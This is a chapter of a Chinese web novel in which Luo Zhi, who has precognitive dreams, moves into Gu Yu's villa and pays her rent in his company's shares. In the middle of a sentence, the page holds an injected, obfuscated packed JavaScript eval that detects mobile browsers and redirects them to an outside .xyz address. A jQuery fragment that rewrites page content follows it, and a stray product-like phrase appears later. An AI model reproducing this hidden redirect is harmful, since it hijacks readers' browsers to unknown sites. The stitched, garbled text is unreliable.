“回家”两个字对雒知而言,很邈远。
过去,她厌烦回家。哪怕她人生的大半时光,都是在那方熟悉的空间里度过的。
如今,她害怕回家。没有令她避之不及的管束后,她失去了家的概念。
这似乎矛盾又可悲,可这也是许多二十出头年轻人的心理写照。
“魂还在吗?”顾驭伸出手在她眼前晃了晃,落地玻璃窗上透出两人的侧影。
窗外月亮正明,高楼大厦如乐高堆砌而成的钢铁巨兽,各路灯光在其间穿梭闪烁,将原本冷硬的钢筋水泥映照得熠熠生辉,好似烟火气降落凡间,却不通人性。
雒知收回飘远的思绪,拿餐巾擦嘴,手托起半边脸,神色平静:“人归土,魂归壳,看不见吗?”
自从顾驭摘掉督察官的职业光环,雒知对他说话也不再客气。
“所以,你这具壳准备在何处落脚?”不等雒知回答,他又接着说,“我建议你还是在家住。”
雒知歪了歪头,揣测着他的意图。
“住酒店不是长久之计,除了眼前这三天,以后你周末还是要回市区的,如果休假也窝在宿舍,会显得很奇怪。你的目的是去找线索,没必要在小事上惹人怀疑和注目。”
“这是我自己的事,就不劳烦顾总操心了吧。”雒知叫来服务员,准备结账。
“我的意思是,你住在我家里比较好。”
“?”雒知接过账单,视线落在收银条末尾的数字上,一时之间,她竟不知是这4200的餐费更令她震惊,还是顾驭说的话更让她意想不到。
她沉静地对服务员亮出付款码,虽说她心里有预期,来时就看出这间餐厅很贵,但既然要请客,就不能计较钱。话是这么说,可顾驭也太下得去手了,这钱一付,还是让她心痛不已。
“怎么不回答,在考虑?”顾驭看她脸色渐渐不善,拉回话题。
雒知不想显得自己小气,硬扯出一个微笑,皮笑肉不笑地分析:“你认为你家比我家好,理由是什么,不会是多了个你吧?”
“你可以这么理解。”顾驭一本正经地回答。
“?”
“雒知,你有没有想过,下周你住进员工宿舍后,如果晚上做梦怎么办?”
这的确是一个问题,至今为止,她做过好几次预知梦,都是只有她一个人的时候。她曾整夜用手机和相机记录自己睡觉的过程,但奇怪的是,只要有设备在拍摄,那么她那一夜都不会做梦。这类似波粒二象限,又不完全一样,她的梦不会呈现两种状态,她的梦不可观测。
所以,她不知道自己会不会说梦话,也不知道自己做梦时,有没有异常的举动,如果被同住的同事发现端倪,不仅什么也查不到,还会打草惊蛇。
顾驭作为经历过预知梦的过来人,他显然知道这一点,于是接着劝说雒知:“你住一楼,我住二楼,这三天,我会关注你的睡眠情况。”
“怎么关注?”
“肉眼关注。”
“?”
“那不然还有什么仪器可以关注吗?”
“不了,瘆人。而且,我最近已经很少做梦了。”最后一次,就是顾驭敲门那一次。
“你不要回避,你需要做梦,能从预知梦里看到未来,这是你的优势。所以,让我们一起找出能让你触发预知梦的原因,从而控制做梦的时间,这样你就可以周中工作,周末做梦,避免在宿舍露出破绽。”
“顾总,你还给预知梦排上班了啊……”
“我是从实际出发,你赞同吗?”
顾驭的提议,细想之下,的确比住酒店更合适,一方面雒知对预知梦知之甚少,她需要更了解自己的梦,从梦里获得有用的信息;另一方面,她没有那么多闲钱可以用来挥霍,那三百万,除了给雒烟买墓地,其余的钱她一分也没动。
“房租怎么算。”
顾驭没有想过房租这个问题,但雒知既然问了,他如果不收房租,会显得别有用心,如果收了,又不比酒店有性价比,他陷入两难,最后思考片刻,提了一个他自认为合理的价格。
“你基本上只住周末,那么每月房租就收100股我公司的股票。”
这方案,和顾驭本人一样,正经中透露着怪异。雒知打开网页搜索顾驭公司的股价,今日是9.5,这样算来,100股是950,她一个月大概住8天,每天差不多100出头,和住酒店比起来,性价比险胜。
“听起来不错,那股价上涨怎么办?”雒知从K线图上看到,他的氢能源公司从去年上市以来,股价一路呈上升趋势。她可没闲工夫,以后整天盯着他的股价买入。
顾驭站起身,穿上外套,想了想后说:“确实存在这个可能,毕竟我的公司势头正好。这样吧,你索性现在就多买些,就当多付几个月房租,总不会亏的。”
“这样啊,顾驭,原来你安的是这个心。”雒知又刷新了对他的认识,可他说的对,不要做亏钱的买卖,“不住了可以退租吗?”
“当然,按当日收盘价退你钱。”
“成交。”雒知入了600股。
在去顾驭家前,他们先去了酒店。雒知收拾好行李,在大堂办理退房,顾驭在车上等她。
雒知有两个行李箱,她询问酒店前台工作人员:“请问可以寄存行李吗?”
“没问题,您什么时候取。”
“嗯……估计不会太快,寄存一个月多少钱?”
“这……”酒店只负责替当日退房的客人暂存行李,还没有长时间寄存的业务,但对于小酒店来说,谁会放着生意不做呢,前台工作人员请示上级后,接下了这个业务,“雒小姐,寄存费每月400,但为了避免您的贵重物品丢失或其他风险,我们需要开箱拍照存证,您看可以接受吗?”
“好。”
雒知打开箱子,酒店工作人员看到箱内的东西明显心里格愣了一下,但很快又管理好表情,利落地办
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776626|174758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完寄存手续。
雒知手中只剩下一件行李,她拉着箱子走出酒店,顾驭正站在车外打电话,余光瞥到她,走来从她手中接过箱子,眼神示意她先上车,而后一手举着手机,一手自然地将她的行李放进后备箱。
或许是因为雒知在车上的缘故,顾驭戴上蓝牙耳机,手握方向盘,时不时地回应对方“嗯”“可以”等话,大多时候是长久的沉默,只听对方讲话,自己不出声。
直到车缓缓驶入一片被茂密绿林环绕的三环外别墅区。
“到了,下车吧。”顾驭在停车的同时,他的电话不知什么时候也挂断了。
刚打开车门,一股刺骨的寒意便迎面袭来,这里的空气相较于喧嚣的市中心,显得更加清新而冷冽。
雒知在他的引领下,首次踏入他的家,可心中却莫名涌起一股难以言喻的熟悉感,但又不符合想象,顾驭的家没有他身上那种冰冷的味道,很温暖。
屋内灯光异常明亮,长时间开着的暖气烘得她眼眶微红,有些熏人,顾驭帮她挂好外套,雒知继续向屋内走去,映入眼帘的是一幅挂在墙上的全家福,照片里有四个人。
“那是我哥。”顾驭打开一楼客房门,让她参观房间。
“哦。”雒知没有问关于他家人的话题,而后大致看了看一楼的布局和环境,除了她带来的行李,生活所需的物件几乎一应俱全,从床单的折痕可以看出,床品也是新的。
“你先休息,有事叫我。”说完,顾驭上了二楼。
雒知待在房间里,简单整理了几件衣服,挂进衣柜,就先睡了,她在酒店住的日子睡得很晚,即便睡着了也感觉不安稳。
她怕睡着,怕梦到不好的事,也怕失去这一窥探未来的机会,在矛盾交织中,黑眼圈也越来越重。
夜里,雒知又醒了。晚餐吃得太咸,喉咙发干,她起身去客厅倒水,一抬眸看见二楼一处房间门漏着一条缝,灯光透出来。
她踌躇片刻,沿楼梯上了二楼,站在顾驭的房门前,她的手悬在半空,犹豫是敲还是不敲门,可想到这时间他多半是睡了,于是轻轻推开门,想帮他关上灯。
“你干什么?”
“你还没睡?”雒知这才看见,他连衣服都没换,就坐在飘窗边,手边放着一碟缀着盐的柠檬,手中握着一杯龙舌兰。
“你睡不着,还是不敢睡?”顾驭放下酒,起身朝她走来。
见他靠近,雒知一头冷雾粽慵懒卷锁骨发都抖了抖,腿不自觉地退后两步,还顺手带上了他的门,在门关闭间隙,匆忙说:“我睡了,晚安。”
顾驭看她脚底生风,耳边传来“哒哒哒”的下楼声,不明白她在心虚什么。
第二天,雒知睡到自然醒,她睁开眼的一瞬,大脑迟缓了两秒,才适应了自己现在住在顾驭家里。
她在房间内梳洗后,准备和顾驭打个招呼就出门。等她来到客厅,才看到偌大的房子里,空无一人,餐桌上,顾驭留了纸条。